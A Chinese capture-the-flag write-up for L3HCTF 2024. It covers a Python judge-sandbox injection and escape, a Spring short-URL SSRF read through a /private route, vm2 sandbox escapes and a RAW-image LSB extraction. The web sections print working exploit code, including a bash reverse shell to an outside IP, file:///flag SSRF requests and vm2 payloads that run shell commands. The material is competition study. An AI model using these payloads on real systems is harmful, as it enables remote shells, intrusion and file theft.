L3HCTF

L3HCTF 2024

Web

intractable problem

给出附件

# web.py
import flask
import time
import random
import os
import subprocess

codes=""
with open("oj.py","r") as f:
codes=f.read()
flag=""
with open("/flag","r") as f:
flag=f.read()
app = flask.Flask(__name__)

@app.route('/')
def index():
return flask.render_template('ui.html')

@app.route('/judge', methods=['POST'])
def judge():
code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):")
correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
print(correctstr,wrongstr)
code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code)

filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000))
with open(filename + '.py', 'w') as f:
f.write(code)

try:
result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove(filename + '.py')
print(result)
if(result.endswith(correctstr+"!")):
return flask.jsonify("Correct!flag is "+flag)
else:
return flask.jsonify("Wrong!")
except:
os.remove(filename + '.py')
return flask.jsonify("Timeout!")

if __name__ == '__main__':
app.run("0.0.0.0")
# oj.py
import sys
import os

codes='''
<<codehere>>
'''

try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)

if "__" in codes:
exit(0)

codes+="\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
oldexit(0)
return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("Correct!",end="")
else:
print("Wrong!",end="")

一通审计下来,就是把我们前端输入的代码替换oj.py<<codehere>>这个地方,然后在web.py中生成一个替换后的oj.py的py文件,然后用系统指令运行新生成的py文件

oj.py中,又创建一个沙箱来执行我们传入的函数,并且过滤了__,还有一些函数;sys.addaudithook()只作用于沙箱里面(不是很理解原因,我感觉是里面外面都会起作用的感觉),直接用'''闭合拼接而已代码就能通

def factorization(n: string) -> tuple[int]:
return 10,100
'''
os.system("bash -c 'bash -i >& /dev/tcp/120.76.194.25/2323 0>&1'")
a = '''

intractable problem revenge

题目基本是上面一样,但是说是修复了非预期,那就是把'''的做法禁止了,就需要通过沙箱逃逸来做,官方wp是使用生成器的栈帧来逃逸,获取globals符号表,然后污染内置函数int,以此来绕过输出flag的条件

def factorization(n):
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
builtin = globals["_" + "_builtins_" + "_"]

def fakeint(i):
if(builtin.len(i)>100):
return 123123*123123
else:
return 123123

builtin.int=fakeint
return '1','2'

a=(a.gi_frame.f_back.f_back for i in [1]):生成器表达式

a=[x for x in a][0]:由于__builtins__为空,内置函数next()不能使用,该写法等效于next()

short url

反编译一下jar包

//DemoApplication.java
public class DemoApplication {
@Value("${website.RedirectURL}")
private String RedirectURL;

public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}

@GetMapping({"/"})
public Object index() {
return ResponseEntity.status(HttpStatus.FOUND).location(URI.create("/index.html")).body("redirect");
}

@PostMapping({"/share"})
public Object share(@RequestParam(required = true) String link) {
try {
UriComponents uri = UriComponentsBuilder.fromUriString(link).build();
String protocal = uri.getScheme();
if (!protocal.equals("http")) {
return "url is invalid";
}
String shortURL = Utils.GetShortURL();
CacheMap.getInstance().put(shortURL, link);
return this.RedirectURL + shortURL;
} catch (Exception e) {
return "server error";
}
}

@GetMapping({"/jump"})
public Object jump(@RequestParam(required = true) String redirect) {
String url = CacheMap.getInstance().get(redirect);
if (url == null) {
return ResponseEntity.status(HttpStatus.NOT_FOUND).body("url not found");
}
return ResponseEntity.status(HttpStatus.FOUND).location(URI.create(url)).body(url);
}
}

这是主要的路由,还有另外两个路由

public class TempTest {
@Value("${website.BaseURL}")
private String BaseURL;

public String Fetch(String url) {
String result = "";
try {
URL new_url = new URI(url).toURL();
URLConnection urlConnection = new_url.openConnection();
urlConnection.setConnectTimeout(1000);
urlConnection.setReadTimeout(1000);
result = new String(urlConnection.getInputStream().readAllBytes());
} catch (Exception e) {
e.printStackTrace();
}
return result;
}

@GetMapping({"/test"})
public String test(@RequestParam(required = true) String redirect) {
String url = CacheMap.getInstance().get(redirect);
if (url == null) {
return "url not found";
}
UriComponents uri = UriComponentsBuilder.fromUriString(url).build();
String paramUrl = uri.getQueryParams().getFirst("url");
if (paramUrl != null) {
UriComponents newUri = UriComponentsBuilder.fromUriString(paramUrl).build();
String newHost = newUri.getHost();
if (newHost == null || !newHost.equals(this.BaseURL)) {
return "url is invalid";
}
}
return Fetch(url);
}

@GetMapping({"/private"})
public String privateTest(HttpServletRequest request, @RequestParam(required = true) String url) {
String ip = request.getRemoteAddr();
if (!ip.equals("127.0.0.1")) {
return "not allowed";
}
return Fetch(url);
}
}

但是MyIntercepter对上面的两个路由进行了拦截,返回418

public class MyIntercepter implements HandlerInterceptor {
@Override // org.springframework.web.servlet.HandlerInterceptor
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getRequestURI().equals("/private") || request.getRequestURI().equals("/test")) {
response.setStatus(WebdavStatus.SC_UNPROCESSABLE_ENTITY);
return false;
}
return true;
}
}

主要的逻辑就是,通过/share路由传参一个http(只能http开头)协议的url,然后生成一个由字母组成的"标识符",然后以键值对的形式存储到ConcurrentHashMap

/jump路由则是以redirect参数传入"标识符",去ConcurrentHashMap中取出原本的url,用来访问

/test/private路由可以由/test//private/来绕过

/test/路由要求如果取出的url包含参数urlurlhost不能为空且一定要等于www.example.com,经过判断后才会进行Fetch()相当于curl

/private/路由则通过getRemoteAddr来限制访问ip为本地,对url协议不进行限制,可以使用file来读文件

于是就有挺多做法

我自己的是,在vps上用php开一个http服务index.php

php -S 0.0.0.0:80
<?php
header("Location: http://127.0.0.1:8080/private/?url=file:///flag");
?>

先去/share路由里面,生成一个上面的页面http://vpsip的短链接,左后用这个短链接去/test/路由访问http://ip:port/test/?redirect=短链接,即可重定向读取flag文件

image-20240213233352177

官方wp是:

config中configurer.setUseTrailingSlashMatch(true)。即可以使用/private//test/绕过拦截,/test路由检验了host必须为www.example.com,此时可以利用org.springframework.web.util.UriComponents拼接多个相同param的特点,将url拆分为两部分,exp如下:

import requests
from urllib import parse
res = requests.post("http://localhost:8080/share", data={
"link": "http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag"
})
print(res.text)
url = parse.urlparse(res.text).query
redirect_url = parse.parse_qs(url)['redirect'][0]
test_url = "http://localhost:8080/test/?redirect=" + redirect_url

res = requests.get(test_url)
print(res.text)

escape-web

nodejs的vm2逃逸,也没环境了,就抄一下官方wp跟记录一下payload跟做法吧,去这里找一个payload

查看进程列表可知跑的是node /app/dist.js

进入/app目录,code.js是用户输入的代码,dist.js是打包的程序代码,查看程序代码并没有写文件,猜测error.txt和output.txt是管道重定向产生的文件,挂载在容器内由外部进行读取。

将output.txt软链接到/flag即可读取flag。

//vm2@3.9.16
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ln -sf /flag /app/output.txt').toString(); }
)
}
}
};
p.then();

再记多几个vm2 payload

//vm2@3.9.15
const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
const {VM} = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
},
valueOf: undefined,
constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

Misc

RAWaterMark

我怎么都没想到这个会是lsb,哎哟~

可以先用exiftool查看一下图像数据的偏移

image-20240214103859812

可知偏移是565248,就是在整个图片文件中从565248字节开始才是图片的数据,隐写从这里开始

而官方wp说Uncompressed RAW每个Sample记录了14Bits的数据,放在了一个short里面,而且用的是小端序来存储,所以使用struct.unpack()来解包图片数据struct.unpack('<'+f'{width*height}H', raw_data)<是指小端序,H是指unsigned short

然后提取lsb即可

import struct

width = 6048
height = 4024
offset = 565248
with open('./image.ARW', 'rb') as f:
file = f.read()
raw_data = file[offset:offset+width*height*2]
raw_image = struct.unpack('<'+f'{width*height}H', raw_data)

raw_image = list(raw_image)

flag = ''
for idx,i in enumerate(raw_image):
flag += str(i & 1)

assert len(flag) % 8 == 0

flag = [flag[i:i+8] for i in range(0, len(flag), 8)]
flag = bytes([int(i,2) for i in flag])
open ('./iiflag.zip', 'wb').write(flag)